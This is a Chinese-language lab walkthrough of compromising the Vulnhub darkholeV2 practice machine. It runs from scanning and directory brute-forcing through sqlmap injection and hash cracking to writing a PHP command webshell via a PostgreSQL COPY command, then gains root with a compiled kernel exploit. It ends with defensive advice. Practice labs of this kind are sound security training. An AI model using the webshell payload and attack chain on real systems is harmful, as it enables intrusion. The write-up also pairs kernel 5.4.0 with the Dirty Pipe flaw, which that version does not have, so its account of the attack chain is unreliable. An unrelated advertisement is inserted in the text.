1. Vulnhub darkholeV2靶机渗透实战指南
最近在Vulnhub平台新上线的darkholeV2靶机引起了不少安全研究人员的兴趣。这个中等难度的Linux靶机模拟了企业环境中常见的配置漏洞组合,包含多个需要层层突破的安全挑战。作为渗透测试爱好者,我花了三天时间完整拿下了这个靶机,过程中遇到了不少有趣的障碍。下面就把我的完整渗透路径和思考过程记录下来,给正在挑战这个靶机的朋友提供参考。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 靶机环境配置
darkholeV2需要运行在VirtualBox或VMware等虚拟化平台。下载OVA文件后导入时,建议分配至少2GB内存和20GB磁盘空间。靶机默认使用NAT网络模式,与攻击机处于同一网段即可。
注意:首次启动时系统会提示默认凭证,但实际渗透过程中这些凭证并不可用,这是靶机设计的一个小陷阱。
2.2 基础信息收集
使用nmap进行初始扫描是标准操作:
bash复制nmap -sV -p- 192.168.1.105
扫描结果显示开放了22(SSH)、80(HTTP)和5432(PostgreSQL)端口。其中Web服务运行在Apache 2.4.41上,使用的是Ubuntu系统。
3. Web应用渗透
3.1 目录爆破与敏感文件发现
使用dirb扫描网站目录:
bash复制dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt
发现了几个关键路径:
- /admin (403禁止访问)
- /backup (目录列表已开启)
- /login.php (用户登录入口)
在/backup目录下找到了website_backup.zip文件,解压后获得部分源码,其中config.php泄露了数据库凭证:
php复制$db_host = 'localhost';
$db_user = 'darkhole';
$db_pass = 'd4rkh0l3@123';
$db_name = 'darkhole_db';
3.2 SQL注入漏洞利用
分析login.php发现存在SQL注入:
bash复制sqlmap -u "http://192.168.1.105/login.php" --data="username=admin&password=123" --level=5 --risk=3
成功注入后dump出users表数据,获得admin用户hash:$2y$10$2V6b5uJMQZaTOH7G2OQ3e.Ly5XoJ/SM1l9LrJW7Xq3D7dF6vX5QbK
使用john破解:
bash复制john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
耗时2小时破解出密码为blackhat123
4. 权限提升路径
4.1 数据库到系统权限
使用获得的数据库凭证连接PostgreSQL:
bash复制psql -h 192.168.1.105 -U darkhole -d darkhole_db
执行命令发现数据库用户有文件写入权限:
sql复制COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
通过webshell执行命令时发现受限于www-data权限,需要进一步提权。
4.2 内核漏洞提权
检查系统信息:
bash复制uname -a
显示内核版本为5.4.0-91-generic,存在脏管道漏洞(CVE-2022-0847)。
下载利用代码编译执行:
bash复制gcc exploit.c -o exploit
chmod +x exploit
./exploit
成功获取root权限,最终在/root目录下找到flag文件。
5. 渗透过程中的关键技巧
-
PostgreSQL的COPY命令是写入Webshell的有效方法,比传统的UNION注入更稳定
-
当遇到无法破解的密码hash时,可以尝试:
- 检查是否有重用密码(本例中数据库密码与系统密码不同)
- 查找配置文件中的备份凭证
- 测试默认凭证变体(如添加123、!等常见后缀)
-
内核提权前务必检查:
- 系统架构(uname -m)
- 已安装的安全补丁(apt list --installed | grep linux-image)
- 可用的编译器版本(gcc --version)
6. 防御建议
基于这个靶机反映的安全问题,企业环境中应该:
- 数据库账户严格遵循最小权限原则
- 禁用Web服务器的目录列表功能
- 及时更新内核和安全补丁
- 密码策略强制要求复杂度并定期更换
- 关键配置文件不应存放在Web可访问目录
这个靶机设计精妙地展示了从Web应用到系统层的完整攻击链,对理解渗透测试的完整流程很有帮助。我在第二次尝试时用了4小时就完成了渗透,关键是要系统性地记录每个阶段的发现和线索。
